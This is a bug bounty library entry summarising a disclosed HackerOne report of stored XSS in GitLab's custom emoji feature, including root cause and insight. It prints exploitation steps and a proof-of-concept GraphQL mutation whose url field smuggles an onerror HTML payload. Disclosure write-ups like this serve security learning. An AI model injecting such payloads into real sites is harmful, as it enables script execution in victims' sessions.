# Stored XSS in custom emoji

Unescaped custom emoji URL in GitLab's emoji_image_tag rendered as raw HTML, enabling stored XSS via a crafted GraphQL createCustomEmoji mutation.

- Payout: $3,000
- Severity: high
- Program: GitLab
- Found by: ooooooo_q
- Disclosed: 2021-07-19
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1198517
- Library page: https://bugbountylibrary.com/r/h1%3A1198517
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:high tech:graphql tech:ruby technique:source-review vuln:xss

**Target:** GitLab custom emoji rendering (lib/gitlab/emoji.rb, GraphQL createCustomEmoji)
**Root cause:** emoji_image_tag interpolates the user-controlled src into an HTML string and calls html_safe without escaping, so the emoji URL breaks out of the src attribute.
**Steps:**
1. Enable feature flag: `Feature.enable(:custom_emoji)` in gitlab-rails console
2. Create a group, e.g. `xss_target`
3. Send GraphQL mutation `createCustomEmoji(input:{groupPath:"xss_target",name:"xssreplace",url:"http://aaa#'><img onerror=alert(location) src=.>"})`
4. Create a project with README.md containing `:xssreplace:`
5. View rendered README; payload executes
**How found:** Code reading of lib/gitlab/emoji.rb spotted that emoji_image_tag builds an HTML string with interpolated src and marks it html_safe; noted name is validated but src is not, then confirmed via GraphQL mutation.
**Exploitation:** Any user able to create a custom emoji in a group injects an HTML payload via the url field; when any user views content referencing `:name:`, the unescaped src breaks out and the onerror handler fires, executing script in the victim's session.
**Insight:** When a helper builds HTML by string interpolation and calls html_safe, audit every interpolated field individually — validation on one field (name) often masks an unvalidated sibling (src/url).

## Proof of concept (copied exactly from the original report)

**GraphQL mutation creating custom emoji with XSS payload URL**

```
mutation {
  createCustomEmoji(input: 
    {
      groupPath: "xss_target", 
      name:"xssreplace",
      url:"http://aaa#'><img onerror=alert(location) src=.>"
    }) {
    customEmoji {
      id
      name
      url
    }
  }
}
```

**README content triggering stored XSS render**

```
Create a project to display custom emojis and create a `README.md` with the following content.

:xssreplace:
```

